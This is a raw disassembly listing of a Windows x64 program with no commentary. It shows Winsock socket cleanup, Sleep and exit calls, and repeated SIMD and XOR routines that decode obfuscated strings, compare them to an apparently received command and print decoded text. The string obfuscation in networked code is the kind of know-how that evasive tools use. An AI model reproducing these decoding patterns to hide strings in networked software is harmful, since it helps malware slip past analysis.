call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, r13
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov rax, qword [str.G_QQ_RA9eVZADV]
mov qword [rbp + 0x980], rax
cmp byte [0x14001d237], 0
je 0x14000a412
mov r8d, edi
cmp r14d, 2
jl 0x14000a3d2
movdqa xmm4, xmmword [0x14001dcc0]
movd xmm6, r12d
movd xmm5, r15d
movdqa xmm2, xmmword [0x14001dc20]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14001dc40]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14001dc60]
packuswb xmm2, xmm2
mov eax, dword [0x14001dca0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x980]
pxor xmm2, xmm1
movd dword [rbp + 0x980], xmm2
movdqa xmm3, xmmword [0x14001dc30]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14001dc40]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14001dc60]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x984]
pxor xmm2, xmm1
movd dword [rbp + 0x984], xmm2
jmp 0x14000a412
lea r9, [rbp + 0x980]
nop dword [rax]
mov eax, 0x1f7047dd
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x14000a3e0
lea rax, [rbp + 0xdc0]
lea r8, [rbp + 0x980]
sub r8, rax
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x14000a436
inc rax
test ecx, ecx
jne 0x14000a423
test edx, edx
jne 0x14000a7f4
lea rdx, [rbp + 0x190]
call fcn.14000f9d0
mov r10, rax
cmp byte [rax + 0x142], 0
je 0x14000a5f6
mov r8d, edi
cmp r14d, 2
jl 0x14000a5b5
movdqa xmm5, xmmword [0x14001dc20]
movdqa xmm4, xmmword [0x14001dcc0]
movd xmm6, r12d
movdqa xmm7, xmmword [0x14001dc40]
movd xmm8, r15d
movdqa xmm0, xmmword [0x14001dca0]
movdqa xmmword [rsp + 0x60], xmm0
mov rcx, rax
mov edx, dword [rsp + 0x60]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14001dc60]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14001dc60]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x140
jl 0x14000a4a0
cmp r8d, 0x143
jge 0x14000a5f6
movsxd r9, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x143
jl 0x14000a5c0
mov rdx, r10
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400108c0
mov rcx, rax
call fcn.140010ab0
lea rdx, [rbp + 0x50]
call fcn.14000fbe0
mov r9, rax
cmp byte [rax + 0x2b], 0
je 0x14000a7af
cmp r14d, 2
jl 0x14000a77a
movdqa xmm5, xmmword [0x14001dc20]
movdqa xmm4, xmmword [0x14001dcc0]
movd xmm6, r12d
movdqa xmm7, xmmword [0x14001dc40]
movd xmm8, r15d
movdqa xmm0, xmmword [0x14001dca0]
movdqa xmmword [rsp + 0x60], xmm0
mov rcx, rax
mov edx, dword [rsp + 0x60]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, edi
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14001dc60]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdi + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14001dc60]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm2, xmm0
movd dword [rcx + 4], xmm2
add edi, 8
lea rcx, [rcx + 8]
cmp edi, 0x28
jl 0x14000a670
cmp edi, 0x2c
jge 0x14000a7af
movsxd r8, edi
add r8, r9
mov eax, 0x8fb823ef
imul edi
add edx, edi
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, dil
sub al, cl
add al, 0x32
xor byte [r8], al
inc edi
lea r8, [r8 + 1]
cmp edi, 0x2c
jl 0x14000a780
mov rdx, r9
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400108c0
mov rcx, rax
lea rdx, [0x140010a90]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, r13
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov rax, qword [str._URY_Y_9P]
mov qword [rbp + 0x980], rax
cmp byte [0x14001db3f], 0
je 0x14000a972
mov r8d, edi
cmp r14d, 2
jl 0x14000a932
movdqa xmm4, xmmword [0x14001dcc0]
movd xmm6, r12d
movd xmm5, r15d
movdqa xmm2, xmmword [0x14001dc20]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14001dc40]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14001dc60]
packuswb xmm2, xmm2
mov eax, dword [0x14001dca0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x980]
pxor xmm2, xmm1
movd dword [rbp + 0x980], xmm2
movdqa xmm3, xmmword [0x14001dc30]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14001dc40]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14001dc60]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x984]
pxor xmm2, xmm1
movd dword [rbp + 0x984], xmm2
jmp 0x14000a972
lea r9, [rbp + 0x980]
nop dword [rax]
mov eax, 0x1f7047dd
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x14000a940
lea rax, [rbp + 0xdc0]
lea r8, [rbp + 0x980]
sub r8, rax
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x14000a996
inc rax
test ecx, ecx
jne 0x14000a983
test edx, edx
jne 0x14000ad54
lea rdx, [rbp + 0x190]
call fcn.14000f9d0
mov r10, rax
cmp byte [rax + 0x142], 0
je 0x14000ab56
mov r8d, edi
cmp r14d, 2
jl 0x14000ab15
movdqa xmm5, xmmword [0x14001dc20]
movdqa xmm4, xmmword [0x14001dcc0]
movd xmm6, r12d
movdqa xmm7, xmmword [0x14001dc40]
movd xmm8, r15d
movdqa xmm0, xmmword [0x14001dca0]
movdqa xmmword [rsp + 0x60], xmm0
mov rcx, rax
mov edx, dword [rsp + 0x60]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14001dc60]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14001dc60]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x140
jl 0x14000aa00
cmp r8d, 0x143
jge 0x14000ab56
movsxd r9, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x143
jl 0x14000ab20
mov rdx, r10
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400108c0
mov rcx, rax
call fcn.140010ab0
lea rdx, [rbp + 0x10]
call fcn.14000fc10
mov r9, rax
cmp byte [rax + 0x15], 0
je 0x14000ad0f
cmp r14d, 2
jl 0x14000acda
movdqa xmm5, xmmword [0x14001dc20]
movdqa xmm4, xmmword [0x14001dcc0]
movd xmm6, r12d
movdqa xmm7, xmmword [0x14001dc40]
movd xmm8, r15d
movdqa xmm0, xmmword [0x14001dca0]
movdqa xmmword [rsp + 0x60], xmm0
mov rcx, rax
mov edx, dword [rsp + 0x60]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, edi
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14001dc60]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdi + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14001dc60]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm2, xmm0
movd dword [rcx + 4], xmm2
add edi, 8
lea rcx, [rcx + 8]
cmp edi, 0x10
jl 0x14000abd0
cmp edi, 0x16
jge 0x14000ad0f
movsxd r8, edi
add r8, r9
mov eax, 0x8fb823ef
imul edi
add edx, edi
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, dil
sub al, cl
add al, 0x32
xor byte [r8], al
inc edi
lea r8, [r8 + 1]
cmp edi, 0x16
jl 0x14000ace0
mov rdx, r9
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400108c0
mov rcx, rax
lea rdx, [0x140010a90]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, r13
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
movsd xmm0, qword [str.WKDDRO_I_]
movsd qword [rbp - 0x78], xmm0
movzx eax, word [0x14001d400]
mov word [rbp - 0x70], ax
movzx eax, byte [0x14001d402]
mov byte [rbp - 0x78], 0x65
xor byte [rbp - 0x77], 0x33
xor byte [rbp - 0x76], 0x34
xor byte [rbp - 0x75], 0x35
xor byte [rbp - 0x74], 0x36
xor byte [rbp - 0x73], 0x37
xor byte [rbp - 0x72], 0x38
xor byte [rbp - 0x71], 0x39
xor byte [rbp - 0x70], 0x3a
xor byte [rbp - 0x6f], 0x3b
xor al, 0x3c
mov byte [rbp - 0x6e], al
lea rax, [rbp + 0xdc0]
lea r8, [rbp - 0x78]
sub r8, rax
nop
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x14000adc3
inc rax
test ecx, ecx
jne 0x14000adb0
test edx, edx
jne 0x14000b184
lea rdx, [rbp + 0x190]
call fcn.14000f9d0
mov r10, rax
cmp byte [rax + 0x142], 0
je 0x14000af86
mov r8d, edi
cmp r14d, 2
jl 0x14000af45
movdqa xmm5, xmmword [0x14001dc20]
movdqa xmm4, xmmword [0x14001dcc0]
movd xmm6, r12d
movdqa xmm7, xmmword [0x14001dc40]
movd xmm8, r15d
movdqa xmm0, xmmword [0x14001dca0]
movdqa xmmword [rsp + 0x60], xmm0
mov rcx, rax
mov edx, dword [rsp + 0x60]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14001dc60]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14001dc60]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x140
jl 0x14000ae30
cmp r8d, 0x143
jge 0x14000af86
movsxd r9, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x143
jl 0x14000af50
mov rdx, r10
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400108c0
mov rcx, rax
call fcn.140010ab0
lea rdx, [rbp + 0x50]
call fcn.14000fc40
mov r9, rax
cmp byte [rax + 0x2a], 0
je 0x14000b13f
cmp r14d, 2
jl 0x14000b10a
movdqa xmm5, xmmword [0x14001dc20]
movdqa xmm4, xmmword [0x14001dcc0]
movd xmm6, r12d
movdqa xmm7, xmmword [0x14001dc40]
movd xmm8, r15d
movdqa xmm0, xmmword [0x14001dca0]
movdqa xmmword [rsp + 0x60], xmm0
mov rcx, rax
mov edx, dword [rsp + 0x60]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, edi
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14001dc60]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdi + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14001dc60]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm2, xmm0
movd dword [rcx + 4], xmm2
add edi, 8
lea rcx, [rcx + 8]
cmp edi, 0x28
jl 0x14000b000
cmp edi, 0x2b
jge 0x14000b13f
movsxd r8, edi
add r8, r9
mov eax, 0x8fb823ef
imul edi
add edx, edi
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, dil
sub al, cl
add al, 0x32
xor byte [r8], al
inc edi
lea r8, [r8 + 1]
cmp edi, 0x2b
jl 0x14000b110
mov rdx, r9
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400108c0
mov rcx, rax
lea rdx, [0x140010a90]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, r13
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
movsd xmm0, qword [0x14001d4f0]
movsd qword [rbp - 0x20], xmm0
mov eax, dword [0x14001d4f8]
mov dword [rbp - 0x18], eax
cmp byte [0x14001d4fb], 0
je 0x14000b303
mov r8d, edi
cmp r14d, 2
jl 0x14000b2c5
movdqa xmm4, xmmword [0x14001dcc0]
movd xmm6, r12d
movd xmm5, r15d
movdqa xmm2, xmmword [0x14001dc20]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14001dc40]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14001dc60]
packuswb xmm2, xmm2
mov eax, dword [0x14001dca0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [0x14001d4f0]
pxor xmm2, xmm1
movd dword [rbp - 0x20], xmm2
movdqa xmm3, xmmword [0x14001dc30]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14001dc40]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14001dc60]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp - 0x1c]
pxor xmm2, xmm1
movd dword [rbp - 0x1c], xmm2
mov r8d, 8
mov eax, r8d
lea r9, [rbp - 0x20]
add r9, rax
nop
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x14000b2d0
lea rax, [rbp + 0xdc0]
lea r8, [rbp - 0x20]
sub r8, rax
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x14000b324
inc rax
test ecx, ecx
jne 0x14000b311
test edx, edx
jne 0x14000b6e4
lea rdx, [rbp + 0x190]
call fcn.14000f9d0
mov r10, rax
cmp byte [rax + 0x142], 0
je 0x14000b4e6
mov r8d, edi
cmp r14d, 2
jl 0x14000b4a5
movdqa xmm5, xmmword [0x14001dc20]
movdqa xmm4, xmmword [0x14001dcc0]
movd xmm6, r12d
movdqa xmm7, xmmword [0x14001dc40]
movd xmm8, r15d
movdqa xmm0, xmmword [0x14001dca0]
movdqa xmmword [rsp + 0x60], xmm0
mov rcx, rax
mov edx, dword [rsp + 0x60]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14001dc60]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
